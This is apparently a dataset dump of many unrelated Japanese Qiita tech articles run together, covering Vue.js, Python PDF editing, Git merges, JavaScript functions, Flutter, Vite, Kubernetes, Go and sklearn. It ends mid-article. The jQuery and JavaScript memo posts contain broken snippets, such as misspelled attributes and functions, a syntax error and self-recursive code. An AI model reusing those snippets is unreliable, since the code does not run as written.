OmniAICreator/Qiita-1.07M huggingface dataset:
カニ🦀になって絵日記書くSNSつくったので技術まとめ

# カニ🦀になって絵日記書くSNS作ったので技術まとめ

## はじめに
タイトル通りのSNS作りました🦀
みなさまは、slackなんかで「たしかに」の意味合いで🦀のスタンプでリアクションとったりしませんか？そんな、エンジニアのみなさまに馴染みのあるカニのサービスをリリースしました！
- サービスURL: https://diary-crab.com
- 気が早いけど公式インスタは[こちら](https://www.instagram.com/diary_crab?igsh=MW9xd2R2ZG9kNmV2dw%3D%3D&utm_source=qr)
  - 怪しい人じゃないことが分かるようにという意図もあります

どんなサービスか少しでも気になっていただけたら是非インスタ覗いてみてください🦀

## 技術まとめ
本サービスで活躍した技術たち🦀

- バックエンド
  - TypeScript, Node.js, Express, prisma
- フロントエンド
  - TypeScript, Next.js, tailwindcss
- [インフラ](https://qiita.com/kawerlake0322/items/774517a9191f6e161c8f)
  - AWS Copilot CLI

以上3要素をそれぞれ記事にして本記事にリンクさせます。
技術選定理由としては、ただ使ってみたかったからです。インフラできない人間なのですが、勝手にやってくれるAWS Copilot CLIを偶然見つけて使いました。
記事の内容としては、使ってみて感じたメリットデメリットや発生した問題とそれをどう解決したかなど予定してます。

よろしくお願いします！🦀
Vue.jsを使ってみた録No.01

初めまして、tktkです。
こうしたブログを書くのは初めてですが、備忘録として書き残していければと思います。

まず、Vue.jsの名前は聞いたことがあり、jsのフレームワーク的なもの？くらいの知識しかなかったので公式のドキュメントを確認していきます。

![スクリーンショット 2024-05-11 172523.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3789833/ba6fde37-e348-e24b-57ea-743da24cb021.png)

基本的なフレームワークの考え方がもとある言語のコーディングを楽にしようぜ的なノリだと思っているのでそうゆうものなのでしょう（難しく考えずに学ぼうとしてるので若干言葉がてきとうになると思います。）

・コンポーネントベース
聞きなれない言葉なので調べたところ汎用性抜群再利用部品といったところでしょうか
この辺の理解はアバウトにいき追々理解を深めていくとします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3789833/34cb8110-baaf-2a2b-2e83-208a2493415d.png)

コア機能とやらですが、今はふーんくらいの認識で通ってみます。
またこの言葉が出てきた時に調べるとします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3789833/146a8341-4697-a64a-7de7-7907ebb4661f.png)

やさしいですね:relaxed:

前提知識としてHTML.CSS.JavaScriptの知識がないと読み進めることをお勧めしていないようです。果たして専門学校で学んだフロントエンドの知識でいけるのか不安はありますが、続行していきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3789833/78e12080-9217-f5f6-3235-4d688df653a4.png)

急に横文字が増えましたね

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3789833/7340b306-3829-5067-c01f-d4e05631d8fd.png)

ありがとうございます:relaxed:

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3789833/77646207-536f-c1a1-028a-9a630ce5d629.png)

単一ファイルコンポーネント
HTML、CSS、JSをまとめちゃいました！みたいな部品って事ですかね？

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3789833/5733b6b9-5f11-8e66-4d77-530266c7cebd.png)

API（Application Programming InterFace）
IT業界に入ってから聞く回数が圧倒的に増えた用語ですね


Options API
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3789833/44437267-43eb-c8e0-d1ea-55b6790e9b17.png)

リアクティブ状態とはなんでしょう
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3789833/0beeae04-bbf5-e6f4-4e7f-4a817a04afe6.png)

値変更の前提項目みたいですね。

Composition API
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3789833/d294139a-b662-91b8-53a4-7591cf755bda.png)

なぜかこっちの方がややこしく見えますね

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3789833/f2bd6058-334c-0a68-c9b1-3df392f72500.png)

なるほど、Composition APIはちょっと上級者向けそうですね

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3789833/f58a59df-8f21-927c-592f-e047df816ccf.png)

まずはなんとなく理解することを目的としているので、私はとりあえずOptions APIにします。

まとめ
Vue.JSはコードを部品化していく方向性なんですね（javaを勉強していた時のオブジェクト指向と似ているような、、）正直フレームワークって基本みんなそんな感じじゃないのかってイメージもあるので、その辺の違いは使っていくうちに感じてくるのでしょうかね
次回は実際にVue.jsを触っていこうと思います。
PythonでPDF内の画像を追加、置換、削除する

## はじめに
PDFファイル内の画像は、文書の内容を豊かにし、ユーザーの読書体験を向上させることができます。 PDFに画像を追加するだけでなく、時には、視覚効果を改善したり、情報を更新したりするために、PDF内の画像を置き換えたり、削除したりする必要があります。 
この記事では、Pythonを使用してPDFに画像を追加する方法と、PDF内の画像を置換または削除する方法の3つの例を提供します。

## Pythonライブラリ- 
まず、PDFファイルを扱うために使用できる[**Spire.PDF for Python**](https://www.e-iceblue.com/Introduce/pdf-for-python.html)というPythonライブラリをインストールする必要があります。 このライブラリはpipを使ってインストールできます：
```
pip install Spire.PDF
```

## 1. PythonでPDFに画像を追加する
Spire.PDF for Pythonライブラリは、PDFページ内の指定された座標に読み込まれた画像を描画する**PdfPageBase.Canvas.DrawImage()** メソッドを提供します。
サンプルコードです：
```python
from spire.pdf.common import *
from spire.pdf import *
 
# PdfDocument オブジェクトの作成
pdf = PdfDocument()
 
# ページを追加する
page = pdf.Pages.Add()
 
# 画像を読み込む
image = PdfImage.FromFile("Img1.jpeg")
 
# 画像サイズの指定
width = image.Width * 0.70
height = image.Height * 0.70
 
# 画像のX、Y座標を指定する
x = 60.0
y = 30.0
 
# ページ上の指定した位置に画像を描画します
page.Canvas.DrawImage(image, x, y, width, height)
 
# PDFファイルを保存する
pdf.SaveToFile("PDFImage.pdf", FileFormat.PDF)
```
生成されたファイル
![PDFimage.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2811193/95adfb31-a5da-8608-f7cd-6fe550f9a3f8.png)

## 2. PythonでPDF画像を置き換える
PDF内の画像を新しい画像に置き換えるには、**PdfPageBase.ReplaceImage()** メソッドを使用します。
サンプルコードです：
```python
from spire.pdf.common import *
from spire.pdf import *
 
# PDFファイルを読み込む
pdf = PdfDocument()
pdf.LoadFromFile("PDFImage.pdf")
 
# 最初のページを見る
page = pdf.Pages[0]
 
# 画像を読み込む
image = PdfImage.FromFile("Img2.png")
 
# ページ上の画像に関する情報の取得
imageInfo = page.ImagesInfo
 
# ページの最初の画像を新しい画像に置き換える
page.ReplaceImage(imageInfo[0].Index, image)
 
# PDFファイルを保存する
pdf.SaveToFile("ReplaceImage.pdf", FileFormat.PDF)
```
![Replaceimage.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2811193/ae56a49c-1c9b-acbf-ad23-a5b439662860.png)

## 3. PythonでPDFから画像を削除する
指定した画像を削除するには、**PdfPageBase.DeleteImage(index)**  メソッドを使用します。
サンプルコードです：
```python
from spire.pdf.common import *
from spire.pdf import *
 
# PDFファイルを読み込む
pdf = PdfDocument()
pdf.LoadFromFile("PDFImage.pdf")
 
# 最初のページを見る
page = pdf.Pages[0]
 
# ページの最初の画像を削除する
page.DeleteImage(0)
 
# PDFファイルを保存する
pdf.SaveToFile("DeleteImage.pdf", FileFormat.PDF)
```
* * *
Spire.PDF for Pythonライブラリは、PDF内の画像を追加、置換、削除するためのインターフェースを提供します。PythonでのPDF文書処理機能についての詳細は、こちらをご覧ください：
https://www.e-iceblue.com/Tutorials/Python/Spire.PDF-for-Python/Program-Guide/Spire.PDF-for-Python-Program-Guide-Content.html

> 赤い透かしを消す：
https://www.e-iceblue.com/TemLicense.html
【備忘録】jQuery

# jQuery
## CDN
```
<script sec="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script>
<script sec="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.5.1.min.js"></script>
<script sec="http://code.jquery.com/jquery-1.5.1.min.js"></script>
```
## 基本構文
### クリック
```
$(document).ready(function(){
    $("#hoge").on("click", function() {
        alert("クリック");
    });
});
```
### HTML書き換え
```
$("#hoge").replaceWith(`<th class="hoge">`);
```
【ざっくり分かるGit】鶏と卵と図で分かるマージの種類

## 早めの結論
`dev` から `feat` ブランチを切って作業しており，
`feat` の変更内容を `dev` にマージしたいとします

![abstract.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294646/fedd4f07-6276-aafd-e1df-9c283e0f5fd6.png)

- `fast-forward` マージ（早送りマージ）
    - `dev` で変更が無かったマージ
    - `feat` ブランチの変更内容を `dev` の後に付け加えられるマージ
    - 卵が先で鶏はいないの
- `no-fast-forward` マージ（3-wayマージ）
    - `dev` に変更があったマージ
    - `feat` の変更内容を取り込みましたよっていうコミット（マージコミット）が作られる
    - マージコミットがあるので，変更がどっから切ったブランチのやつだったかが分かる
    - 鶏が先で卵が後
- `squash` マージ（スカッシュマージ）
    - `dev` に変更があったマージ
    - `dev` と `feat` の変更を一つのコミットにまとめる（マージコミットを作らない）
    - マージコミットが無いので，変更がどっから切ったブランチのやつだったかは分からない
    - 鶏が先で，卵はいないように見えるが実はいつの間にかいたの



## fast-forward マージ（早送りマージ）
### 前提
`dev` ブランチから `feat` ブランチを切ってそこで `chiken.txt` を作成（B）
`feat` で作業している最中に `dev` ブランチは特に変更されていない
この状況で `dev` ブランチに `feat` ブランチをマージしたい

![fast-forward.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294646/ff38b06e-1d69-3461-ddce-3855f0c10815.png)


### マージ

```
# git merge --ff-only {取り込みたいブランチ名} 
```

```
git merge --ff-only feat
```

素直に A の後に B がくっつきます

![fast-forward_r.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294646/fa78c881-bc33-a4fd-82b7-33b9f53584eb.png)


### ログ
一本のきれいなログになっています

![fast-forward-log-graph_r.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294646/de1945ae-55a7-3f9e-7ef5-000de8fd429e.png)



## no-fast-forward マージ（3-wayマージ）
### 前提
`dev` ブランチから `feat` ブランチを切ってそこで `chiken.txt` を作成（B）
`feat` で作業している最中に `dev` ブランチで `egg.txt` が作成される（C）
この状況で `dev` ブランチに `feat` ブランチをマージしたい

![start.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294646/cd57921b-cf1b-9268-34fa-d001db333453.png)

### マージ

```
# git merge --no-ff {取り込みたいブランチ名} 
```

```
git merge --no-ff feat
```

`dev` ブランチに `feat` ブランチの変更内容を取り込んだよという
マージコミット（M）が作られます
変更がどのブランチから切られたブランチでの変更なのかがわかります

![no-fast-forward.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294646/5891b4b4-8e6f-df35-a746-d21f846009e4.png)

### ログ
![no-fast-forward-log-graph_r.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294646/c0dbb60d-d767-65c1-1724-28e80028ec16.png)


## squash マージ（スカッシュマージ）
### 前提
`no-fast-forward` マージと同じです

### マージ


```
# git merge --squash {取り込みたいブランチ名} 
```

```
git merge --squash feat
```

`feat` ブランチの変更内容（B）がしれっと `dev` ブランチに取り込まれます

![squash.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294646/24dc85d9-6b26-a4cd-5350-d73b8852c392.png)


### ログ
`fast-forward` の時のようにきれいな一本のログになります

![squash-log-graph_r.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294646/809af35a-2479-6610-0c38-8715ab7d152c.png)


## 参考
- [Git](https://git-scm.com/book/ja/v2/Git-%E3%81%AE%E3%83%96%E3%83%A9%E3%83%B3%E3%83%81%E6%A9%9F%E8%83%BD-%E3%83%96%E3%83%A9%E3%83%B3%E3%83%81%E3%81%A8%E3%83%9E%E3%83%BC%E3%82%B8%E3%81%AE%E5%9F%BA%E6%9C%AC)
- [SAMURAIENGINEER](https://www.sejuku.net/blog/71003#index_id8)
- [AWS CodeCommit](https://docs.aws.amazon.com/ja_jp/codecommit/latest/userguide/how-to-merge-pull-request.html)
- [鶏が先か，卵が先か](https://ja.wikipedia.org/wiki/%E9%B6%8F%E3%81%8C%E5%85%88%E3%81%8B%E3%80%81%E5%8D%B5%E3%81%8C%E5%85%88%E3%81%8B)
ACRIUS【クーポン情報調査】

生活に役立つ、お得なクーポン情報メディアをテスト運営しています。個人の情報収集力の強弱によるコスト差の改善に取り組んでいます。

自然言語処理を応用した日本語の最適化案を開発、複雑な感情を簡単に意思疎通する手段の構築、感情のすれ違いを減らすために、従来の意思伝達手段と異なる、空間に依存しない意思疎通方法の研究をしています。

ACRIUS【クーポン情報】
https://acrius.co.jp/
JavaScriptにおけるカリー化と部分適用

## はじめに
カリー化（Currying）は、関数を複数の引数を取る一連の関数に分割するプログラミング手法です。この記事では、カリー化の概念とその一部である部分適用について解説します。

## カリー化と部分適用の基本的な概念
以下のような特性を持ちます。

- カリー化: 複数の引数を取る関数を1つの引数を取る関数の連鎖に変換する
- 部分適用: カリー化された関数の引数の一部だけを指定して新しい関数を作成する

## 部分適用の利点
部分適用を行うことで、以下のような利点があります。

1. **柔軟性**: 部分的な引数指定で新しい関数を作成し、柔軟な組み合わせが可能になる
2. **再利用性**: 同じパターンの処理を部分適用した関数で使い回すことができる
3. **メモリ効率**: 不要な引数を指定せずに新しい関数を生成できるため、メモリ効率が向上する

## 部分適用の実装方法
JavaScriptでは、手動で部分適用を行う方法や、ライブラリを使用する方法などがあります。ここでは手動での部分適応の例をあげます。

### 手動での部分適用
```javascript
function add(a, b, c) {
    return a + b + c;
}

function partial(fn, ...args) {
    return function (...rest) {
        return fn(...args, ...rest);
    };
}

const addPartial = partial(add, 1, 2);
console.log(addPartial(3)); // Output: 6
```

## アロー関数を使った部分適用
アロー関数を使うことで、より簡潔な部分適用が可能です。以下は、アロー関数を使用した部分適用の例です。

```javascript
const add = (a, b, c) => a + b + c;

const partial = (fn, ...args) => (...rest) => fn(...args, ...rest);

const addPartial = partial(add, 1, 2);
console.log(addPartial(3)); // Output: 6
```

## まとめ
カリー化と部分適用は、JavaScriptにおける高階関数の重要な概念です。部分適用を行うことで、引数の一部を固定した新しい関数を生成し、柔軟で再利用可能なコードを書くことができます。JavaScriptでは手動での実装やライブラリを使用することで、部分適用を簡単に行うことができます。
Questで左右のレンズに描画される映像が違う

https://github.com/Arvtesh/UnityFx.Outline?tab=readme-ov-file

# 現象
以下の写真のように片目のみアウトラインが描画される物を直したい
具体的にはUnityFx.Outlineで片目のみアウトラインが表示されるのを両目分描画したい
![2024-05-11T08-05-45.198Z.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/374827/e486f4a3-60b9-9706-8616-52ed6e42e03c.png)

# 環境
Unity 2022.3.20
Meta Quest 3

https://redhologerbera.hatenablog.com/entry/2021/01/12/211511

おそらくこのサイトをと同様の現象と見えるのでxRSettingsからStereo RenderingModeを変更したかったのだが無かった

# 解決
xRSettingsはXR Plug-in Managementに名称が変わり移動したのでそちらで対応

XR Plug-in Management -> Oculus -> Stereo RenderingMode をMulti Passに変更することで直った
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/374827/ebec5792-1aa9-2989-e338-5f2ceb3efdb0.png)

![2024-05-11T08-04-02.238Z.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/374827/876a5f46-f2f9-6725-65ff-13fa7fb024d6.png)
【Flutter】OverlayEntryをremoveしても消えない

# Overlayが消えない!!
overlayを削除したい場合に以下のようにOverlayEntry.remove()を呼び出すことが通常だと思う。しかし、これを呼び出しているにも関わらすOverlayが消えないという事象が発生した。その症状が発生したときには_entryはnullとなっており、なんで_entryがnullになっているの消えないの？という疑問にはまったので、備忘録として残しておく。
```dart
if (_entry != null){
    _entry.remove();
    _entry = null;
}

```

# Overlayが消えない原因
[この記事](https://stackoverflow.com/questions/55793055/overlayentry-remove-doesnt-remove-the-entry-from-the-overlaystate)が参考になった。簡単にいうと、removeが走る前にOverlayのinsertが誤って2回以上呼ばれるとremoveしても消えなくなるということ。

なるほど、自分はonTapの中にinsertをいれていたため、連続2回タップするとinsertが2回呼ばれてしまい、Overlayが消えなくなると理解できた。

# 解決策
それじゃあ、どうやって防ごうかという話になるわけだが、参考記事では、以下のようなプログラムが提案されていた。
```dart 
WidgetsBinding.instance.addPostFrameCallback((_) => overlayState.insert(_entry));
```
だが、しかし、自分の場合は直らなかった...。
そこで、考えたのが以下のようなプログラムである。
```dart
if (_entry==null){
    _entry = OverlayEntry(....);
    WidgetsBinding.instance.addPostFrameCallback(
              (_) => Overlay.of(context).insert(_overlayEntry!));
}
```
簡単にいうと、_entryがnullだった場合にのみinsertをするようにした。これにより、1回のみしか追加されないようにした。
(並列処理なのでもしかしたらこのnull判定を抜けて2回呼ばれる可能性があるかもしれない...、
でも高速タップしてテストしてみたけど、今のところちゃんと消えているので、コンピュータレベルの時間間隔でinsertを呼び出すようなことをしなければよっぽど大丈夫かと？)。
【Git】まずはこれを読め！Gitの基本

# はじめに
<!-- 発端や概要を記載 -->
こんにちは、エンジニア3年目の嶋田です。
この記事を開いていただきありがとうございます！
先日、新入社員と話していてGitの使い方についてもっとわかりやすく伝えたいなと思ったので記事にしてみました。
Gitの基本を学びたい初学者の方や、未経験のエンジニアの方にもわかりやすく、役に立つ内容を目指します！

# 目次
- [Gitとは何か](#Gitとは何か)
- [リポジトリって何？](#リポジトリって何？)
- [基本的なGitコマンド](#基本的なGitコマンド)
- [ブランチの扱い方](#ブランチの扱い方)
- [マージとは？](#マージとは？)
- [最後に](#最後に)

## Gitとは何か
「Git」とは、ソースコードのバージョン管理を行うための分散型バージョン管理システムです。
このツールを使うことで、開発中のプロジェクトでの変更点を効率的に追跡し、複数の人との共同作業がスムーズに進行します。

バージョン管理システムとは、ファイルの変更履歴を記録し、過去のある時点の状態に戻すことができるシステムのことを指します。これにより、何か問題が発生した時に以前の正常な状態に戻すことが可能です。

## リポジトリって何？
Gitにおける「リポジトリ」とは、プロジェクトのファイルとその変更履歴を保存する場所のことを言います。リポジトリには大きく分けて2種類あり、「ローカルリポジトリ」と「リモートリポジトリ」があります。

- **ローカルリポジトリ**: 個々の開発者のコンピュータ内に存在するリポジトリ。ここで作業を行い、変更を保存します。
- **リモートリポジトリ**: インターネット上に存在するリポジトリ。GitHubやBitbucketなどのサービスが提供するサーバー上に設置されます。チームメンバー間でコードを共有するために使用します。

## 基本的なGitコマンド
Gitを使用する上で、基本的なコマンドを理解することが重要です。以下に、よく使われるGitコマンドをいくつか紹介します。

- **`git init`**: 新しいローカルリポジトリを作成します。
- **`git clone [URL]`**: リモートリポジトリをローカルにコピーします。
- **`git add [ファイル名]`**: 変更をステージングエリアに追加します。
- **`git commit -m "コミットメッセージ"`**: ステージングエリアの変更をリポジトリに保存します。
- **`git push`**: ローカルリポジトリの変更をリモートリポジトリにアップロードします。
- **`git pull`**: リモートリポジトリの最新の変更をローカルリポジトリに取り込みます。

## ブランチの扱い方
Gitでは「ブランチ」という概念が非常に重要です。ブランチを利用することで、開発の主流から分岐して、独立して作業を進めることができます。これにより、他の人の作業に影響を与えることなく新しい機能の開発やバグ修正を行うことができます。

- **`git branch`**: ブランチのリストを表示します。
- **`git branch [ブランチ名]`**: 新しいブランチを作成します。
- **`git checkout [ブランチ名]`**: 指定したブランチに切り替えます。

## マージとは？
「マージ」とは、ブランチに対して行った変更を別のブランチに統合する操作のことです。開発が完了した機能をメインのブランチに統合する際に使用します。

- **`git merge [ブランチ名]`**: 指定したブランチを現在のブランチにマージします。

# 最後に
Gitは初めて使うと少し複雑に感じるかもしれませんが、基本的なコマンドを覚えることで格段に作業が楽になります。この記事がGitの理解の助けになれば幸いです。
何か不明点があれば、気軽に質問してください！
読んでいただき、ありがとうございました！
【備忘録】JavaScript

# Java script
項目 | let | var | const
--- |--- | --- | ---
再宣言 | × | 〇 | ×
再代入 | 〇 | 〇 | ×
スコープ | ブロックスコープ | 関数スコープ | ブロックスコープ
使う場面 | よく使う | 昔は使ってた | 定数の場合使う

## 01. 基本構造
### HTMLの場合
```
<head>
    <script>
        function alert() {
            alert("alert");
        };
    </script>
</script>
<body>
<button onclick="alert()">alert</button>
</body>
```
### jsファイルの場合
```
function alert() {
    alert("alert");
};
```
# 02. 基本構文
### alert
```
function alert() {
    alert("alert");
};
```

### confirm
- 確認ダイアログ
- yesとnoの2択
- `preventDefault()` デフォルトの挙動を止める
```
function alert() {
    var result = conirm("OK?");
    if(result==false) { event.preventDefault() }
    else {return true};
};
```

### HTML書き換え
```
document.write("<div>hoge</div>");
```

### for
```
for(let i=0; i < 10; i++;){
    alert(i);
}
```
Viteのenvの件

## 何について？
viteのenvについて、ちょっとつまずいたので備忘録として書きます。
## Viteとは
簡単に言うとfront develoment用のbuild toolという認識でいます。
## 何がすごい
自分自身、どちらかというとbackend側のエンジニアなのであまり詳しいことは言えませんが、とにかくbuildが早いという特徴があるらしいです。
こちらのブログが参考になりました。https://devlog.neton.co.jp/develop/react/vite-turbopack/
## なぜ使った？
MERN stackを作ってみたくて、MongoDBのtutorialを参考にしましたが、そこで使ってました。
https://www.mongodb.com/languages/mern-stack-tutorial
## 前提として
開発をしてると、環境変数というのはどうしても避けられないものだと思います。
production, development, test、それぞれの環境用の変数を開発中にどれだけ気にせず作業できるかが開発の効率にもつながり、違う環境の値を使ってしまうミスも防げます。
## 何にハマった？
環境変数の読み込み方に少しつまづきました。
### Naming Rule
ViteではREACTのように編集名の頭にVITEをつけないと無視されます。
ビルトインされた環境名もすでに存在します。
(Env Variables)https://vitejs.dev/guide/env-and-mode#env-variables

### 読み込み方法
REACTではprocess.env.{VITE_環境変数}で読み込めますが、Viteの場合はBuild時に書き込まれるので、import.meta.env.{VITE_環境変数}を使います。
### .envの種類
.env
.env.local
.env.[mode] // modeとはprduction, development, staging, testingなどです。*localもmodeの一つ？



### vite command
vite build -> production用コマンドで 
vite (--open) -> development用コマンドで オプション--openをつけるとbrowserを開けてくれます。

.env.[mode]は.envよりも優先度が高いです。
例えば、vite --openの時はvite.localがあった場合、そちらの方を優先につかいます。
同様に、vite buildの時はvite.productionが優先的に使われます。
ちなみにvite --open時に.env.local, .env.development, .env.staging, .env.testingがあった場合、何も指定しなければ.env.developmentが使われました。
[k8s] PodやContainerがNo Root Userが原因でk-railに怒られる件

#何が起きた？
k8s1.22に更新したら、アプリをデプロイするときに、k-railから以下のようなお怒りのメッセージをもらった。

```
Pod had violation: No Root user
```

#対応方法
とりあえず、PodSpec内に以下を入れて対応

```
    Spec
      securityContext:
        runAsNonRoot: true
      containers:
        securityContext:
          runAsNonRoot: true
```

これを入れても以下のようなエラーもでた。

```
Error: container has runAsNonRoot and image has non-numeric user, cannot verify user is non-root
```
で、Spec直下のsecurityContextに以下も加えてみたら怒られなくなった

```
runAsUser: 999
```
と思ったらまたこんなメッセージが

```
Container istio-init can run as the root user which is forbidden
```
istioの公式サイトを見てみたら、https://istio.io/latest/docs/setup/additional-setup/cni/
istio-initを使うとpermissionを調節しなくてはいけなく、面倒くさいので、isito-cniを使った方がいいよと書かれていたのでやっていたらようやく怒られなくなった

#まとめ
今回問題があったアプリはおこられなくなったけど、まだいくつか1.22への更新するために解消しなければいけない問題がありそう。。また進展あったら記録していきます。
【Go言語学習】引数の参照渡しについて

以下のコードは、セマフォを使って（あんま意味ないけど）、同時実行数を制限しているコードで遊んでいたのですが、do関数の引数について疑問が発生したのでメモ。

```Go
package main

import (
	"context"
	"fmt"
	"log"
	"time"

	"golang.org/x/sync/semaphore"
)

func main() {
	sem := semaphore.NewWeighted(5)

	go do(sem, func() { time.Sleep(1 * time.Second) }, 1)
	go do(sem, func() { time.Sleep(1 * time.Second) }, 2)
	go do(sem, func() { time.Sleep(1 * time.Second) }, 3)
	go do(sem, func() { time.Sleep(1 * time.Second) }, 4)
	go do(sem, func() { time.Sleep(1 * time.Second) }, 5)
	// 	go do(sem, func() { time.Sleep(1 * time.Second) }, 6) エラー

	time.Sleep(6 * time.Second)
	fmt.Println("最高！")
}

func do(sem *semaphore.Weighted, f func(), w int64) { // ここの引数について
	if err := sem.Acquire(context.Background(), w); err != nil {
		log.Println(err)
		return
	}
	defer sem.Release(w)

	switch w {
	case 1:
		log.Printf("It will definitely come true!")
	case 2:
		log.Printf("That works!")
	case 3:
		log.Printf("I did it!")
	case 4:
		log.Printf("Thank you for this world!")
	case 5:
		log.Printf("Make the world better!")
	case 6:
		log.Printf("Do not lose!")
	default:
		log.Printf("How happy I am!")
	}

	f()
}
```
https://github.com/kabasunny/GoPractice/tree/main/semaphore_fanc
このケースでは、func do(sem *semaphore.Weighted, f func(), w int64)となっていて、セマフォは見てわかるように明示的にポインタで受け取るが、関数型の引数は暗黙的に参照で受け取る。

あとついでに、分かったことメモ
・インターフェースを直に実装した関数は作れない
・インターフェースは変数を持てない
・関数は、自身の関数型のみで共有する変数を持てない
・データ型の引数は値(アドレスポインタの値)のコピー渡しが基本で、参照渡しは無い（ただし、スライス、マップ、チャネルなどの一部のデータ型は、内部的には参照型として振る舞うだとぅ！？）
・関数型を引数として渡す場合は参照の値渡しとなる
classification_reportをデータフレーム化

classification_reportはそのまま使うと小数点以下2桁で、詳細に使おうとすると辞書形式になります。

https://qiita.com/murasaki1994/items/752e5db5572dc2c8955b

なのでより自由かつCSVで保存できるようにデータフレーム化する関数を作ってみました。
# 関数
```Python3
from sklearn.metrics import classification_report
import pandas as pd
def classification_report_dataframe(y, y_pred):
    rep = classification_report(y, y_pred, output_dict=True)
    dst = []
    index = []
    for col in rep:
        index.append(col)
        if col != "accuracy":
            dst.append([rep[col]["precision"], rep[col]["recall"], rep[col]["f1-score"],rep[col]["support"]])
        else:
            dst.append(["", "", rep["accuracy"], rep["weighted avg"]["support"]])
    df_rep = pd.DataFrame(dst)
    df_rep.index = index
    df_rep.columns = ["precision", "recall", "f1-score", "support"]
    return df_rep
```

## 使用例
```Python3
from sklearn.linear_model import LogisticRegression as LR
import pandas as pd

df = pd.read_csv("iris.csv")

y = df["category"]
x = df.drop("category", axis=1)
for col in x.columns:
    x[col] = (x[col] - x[col].mean()) / x[col].std()
model = LR()
model.fit(x, y)
y_pred = model.predict(x)

df_rep = classification_report_dataframe(y, y_pred)    
df_rep
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2782889/1dafcb29-e5bd-acb1-3e0e-22972017947f.png)

ちなみにこれが普通にclassification_reportを使うとこうなります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2782889/d9ae2274-41e4-5e28-174c-a7c1aa0330c1.png)

どっちがいいかは人それぞれですが、精度をめちゃくちゃ気にする場合はこの関数が有効かもしれません。
Linuxインフラエンジニアレベルアップ

https://qiita.com/pe-ta/items/0510bee10bcfd88afeee

https://qiita.com/odacoh/items/b94be0deecaaa27b0263

https://qiita.com/ora_gonsuke777/items/6fef703658f8208404b6

https://fumiyas.github.io/2013/12/14/read.sh-advent-calendar.html

https://zenn.dev/portinc/articles/bash-best-practice
JavaScriptにおける高階関数とは？

## はじめに
JavaScriptにおける高階関数は、関数を引数として受け取ったり、関数を返り値として返す関数のことを指します。この記事では、高階関数の基本的な概念や利点、具体的な使用例について解説します。

## 高階関数の基本的な概念
高階関数は、関数を値として扱うことができるJavaScriptの特性を活かしたプログラミング手法です。具体的には、以下のような特性を持ちます。

- 関数を引数として受け取ることができる
- 関数を返り値として返すことができる

これにより、関数をより柔軟に組み合わせて使うことができます。

## 高階関数の利点
高階関数を使うことで、以下のような利点があります。

1. コードの再利用性: 同じパターンの処理を複数の場所で使い回すことができる
2. 抽象化: 処理の詳細を隠蔽し、より抽象的な関数を作成できる
3. 柔軟性: 引数や返り値として関数を扱うことで、より柔軟な処理が可能になる
## 高階関数の使用例
### マップ関数
```js
function map(array, fn) {
    const result = [];
    for (const item of array) {
        result.push(fn(item));
    }
    return result;
}
const numbers = [1, 2, 3, 4, 5];
const squared = map(numbers, num => num * num);
console.log(squared); // Output: [1, 4, 9, 16, 25]

//以下はJavaScriptで標準提供されているmapメソッドを使用
const numbers = [1, 2, 3, 4, 5];
const doubled = numbers.map(num => num * 2);
console.log(doubled); // Output: [2, 4, 6, 8, 10]
```

### フィルター関数
```js
function filter(array, fn) {
    const result = [];
    for (const item of array) {
        if (fn(item)) {
            result.push(item);
        }
    }
    return result;
}

const numbers = [1, 2, 3, 4, 5];
const evenNumbers = filter(numbers, num => num % 2 === 0);
console.log(evenNumbers); // Output: [2, 4]

//以下はJavaScriptで標準提供されているfilterメソッドを使用
const evenNumbers = numbers.filter(num => num % 2 === 0);
console.log(evenNumbers); // Output: [2, 4]
```
## まとめ
高階関数は、JavaScriptにおける重要な概念の一つです。関数を引数として受け取ったり、関数を返り値として返すことで、柔軟なプログラミングが可能になります。
「あるといいかも」が害であるこれだけの理由

プロダクトマネジメント、要件定義が難しい大きな理由のひとつは、われわれが「未来を予測できない」ことだ。よかれと思って作ったものが、ユーザーの期待と外れたものになってしまうかもしれないし、外部環境の変化によって想定どおり使われないかもしれない。

それを知って知らでか、プロダクトオーナーやステークホルダーはとかく本当に使われるかわからないものを要求しがちだ。[IMPACT MAPPING](https://www.amazon.co.jp/IMPACT-MAPPING-%E3%82%A4%E3%83%B3%E3%83%91%E3%82%AF%E3%83%88%E3%81%AE%E3%81%82%E3%82%8B%E3%82%BD%E3%83%95%E3%83%88%E3%82%A6%E3%82%A7%E3%82%A2%E3%82%92%E4%BD%9C%E3%82%8B-Gojko-Adzic/dp/4798135933)では、「よくある問題」として以下のものを挙げている。

<dl>
  <dt>スコープクリープ（SCOPE CREEP）</dt>
